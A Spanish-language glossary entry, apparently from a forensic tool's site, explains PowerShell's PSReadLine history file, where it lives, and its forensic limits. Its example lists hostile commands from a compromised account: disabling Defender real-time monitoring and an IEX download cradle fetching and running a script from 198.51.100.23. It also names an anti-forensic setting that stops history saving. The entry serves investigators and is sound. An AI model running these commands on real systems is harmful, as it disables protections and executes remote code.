Skip to content

Glosario

PSReadLine

El editor de línea de la consola de PowerShell que guarda el historial de comandos interactivos en ConsoleHost_history.txt, sin marcas de tiempo.

PSReadLine es el módulo de edición de línea de comandos que la consola de PowerShell carga de forma predeterminada, incluido de serie desde PowerShell 5 en Windows 10. Además del coloreado de sintaxis y los atajos de teclado, mantiene un historial persistente: cada comando que un usuario acepta en el prompt se añade a un archivo de texto sin formato en el perfil móvil de ese usuario. Para un investigador, ese archivo suele ser el registro más directo de lo que una persona tecleó realmente.

Por qué importa en una investigación

El archivo de historial sobrevive a los reinicios y a las nuevas sesiones, por lo que puede remontarse semanas o meses antes de la entrada más antigua de los registros de eventos. También captura los comandos exactamente como se teclearon, incluido un blob -EncodedCommand que el Script Block Logging solo almacenaría en su forma decodificada. Pero tiene límites estrictos:

  • Sin marcas de tiempo. El orden de las líneas es la única cronología; para fechar un comando, relaciónelo con un evento 4104 u 800, o con una transcripción.
  • Solo entrada interactiva de la consola. Los scripts, las tareas programadas, las sesiones de WinRM y los hosts que no son de consola no se registran aquí.
  • Fácil de manipular. Un atacante puede eliminar o truncar el archivo, o desactivar el guardado con Set-PSReadLineOption -HistorySaveStyle SaveNothing.
  • Tecleado no significa ejecutado. Los errores de escritura y los comandos abandonados también se guardan.

Ejemplo

La ubicación predeterminada para la consola normal de powershell.exe es:

%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Otros hosts escriben <HostName>_history.txt, y (Get-PSReadLineOption).HistorySavePath muestra la ruta activa. Algunas líneas de una cuenta comprometida podrían ser:

whoami /groups
Set-MpPreference -DisableRealtimeMonitoring $true
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')

Un comando de varias líneas se guarda con un acento grave al final de cada línea excepto la última; el parser las vuelve a unir en una sola entrada y señala la manipulación de Defender y el download cradle anteriores, así como los comandos que borran o eliminan el historial.

Términos relacionados

Lea un archivo de historial junto a los registros de eventos en el PowerShell Parser y consulte el análisis forense de ConsoleHost_history.txt para ver el recorrido completo.